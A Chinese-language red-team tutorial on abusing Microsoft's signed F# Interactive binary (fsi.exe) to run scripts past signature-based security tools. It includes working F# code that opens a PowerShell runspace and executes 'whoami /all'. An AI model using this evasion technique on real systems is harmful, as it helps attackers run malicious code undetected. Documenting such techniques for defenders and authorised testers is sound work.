这是一个基于 F# 语言的红队工具,使用 F# 交互式编译器来执行攻击负载。Fsi.exe 是一个包含在 Visual Studio 中的 Microsoft 签名的合法二进制文件,允许通过交互式命令行或脚本执行 .fsx 和 .fsscript 文件。由于自带微软的签名,可以用于绕过许多基于签名验证的安全防护软件,从而在目标环境中执行恶意代码。
0x01 Fsharp 的基本介绍
F# 是一种功能强大、功能式编程为主的编程语言,F# 是 .NET 平台的一部分,能够与 C# 和 Visual Basic 等 .NET 语言无缝集成,允许开发者使用函数式编程的优点,同时也可以使用面向对象和命令式编程。
F# 支持多种脚本格式,除了 .fsscript 之外,常见的格式包括 .fsx(用于 F# 脚本)和 .fs(F# 源文件)。其中 .fsx 是最常用于脚本化的文件扩展名,适合快速执行脚本,例如下面代码所示。
open System
let currentTime = DateTime.Now
printfn "Current time: %A" currentTime
代码中,open System 导入了 .NET System 命名空间,用于访问时间相关的 API。通过Fsi.exe 运行后如下图所示。
0x02 Fsi.exe是什么
fsi.exe 是 F# Interactive 的可执行文件,F# Interactive 是 F# 编程语言中的一个交互式环境,用于即时执行 F# 代码。可以在不编译整个项目的情况下,逐行或逐段地运行 F# 代码。这种交互式的编程方式非常适合于调试、实验和快速原型开发。除了交互式执行代码,fsi.exe 还可以用来执行 .fsx 和 .fsscript 文件(F# 脚本文件),并且与.NET框架深度捆绑集成,可以在 F# Interactive 中调用 .NET API,甚至与 C# 和其他 .NET 语言无缝集成。比如引用程序集,可以使用 #r 命令引用外部的 .NET 程序集,具体代码如下所示
#r "System.Xml.dll"
加载并执行脚本,可以使用 #load 命令加载 .fsx 或 .fsscript 文件,具体代码如下所示。
#load "script.fsx"
0x03 编码实现
Fsi.exe 作为微软官方的交互式编译器,因为出自微软公司,因此合法性和签名使得安全软件通常不会对其行为做监控或拦截,从而给攻击者提供了一个执行恶意代码的途径。攻击者可以利用 F# 语言编写恶意脚本,并通过 Fsi.exe 来执行。这种方法不仅能绕过部分签名验证,还能在目标环境中执行各种复杂的攻击负载。以下是一段通过 fsi.exe 执行命令行的示例代码。通过 PowerShell 运行空间创建和管理,执行命令 cmd.exe /c whoami /all 来显示当前用户的完整身份信息。首先,需要引用 PowerShell 程序集,该引用允许 F# 代码直接调用 PowerShell 功能。
#r @"C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll"
随后,通过 RunspaceFactory.CreateRunspace() 创建一个新的 PowerShell 运行空间,runSpace.Open() 将该运行空间打开以供命令执行。
let runSpace = RunspaceFactory.CreateRunspace()
runSpace.Open()
接着,创建管道和添加命令,在这里通过 CreatePipeline() 创建了一个新的命令管道,并添加了要执行的 cmd.exe 命令。通过 Parameters.Add() 方法指定要传递的参数,例如 /c 和 whoami /all。
let pipeline = runSpace.CreatePipeline()
let command = new Command("cmd.exe")
command.Parameters.Add("/c", "whoami /all")
pipeline.Commands.Add(command)
最后,执行命令并返回处理的结果,pipeline.Invoke() 执行管道中的命令,结果会返回到 results 集合中。
let results = pipeline.Invoke()
for result in results do
match result.BaseObject with
| :? string as output -> printfn "%s" output
| _ -> printfn "Unexpected type; got: %A" result.BaseObject
通过 for 循环遍历结果,并根据返回的类型进行相应的处理和输出。下面fsccript代码中执行了whoami命令,返回如下图所示
0x04 小结
fsi.exe 利用了 F# 交互式编译器的合法性和签名信任机制,使得攻击者能够在不被检测的情况下执行恶意代码。结合其强大的脚本编写能力,尤其是在高级渗透测试和红队活动中,这个工具能有效地避开安全防护,执行任意代码,从而达到攻击目的。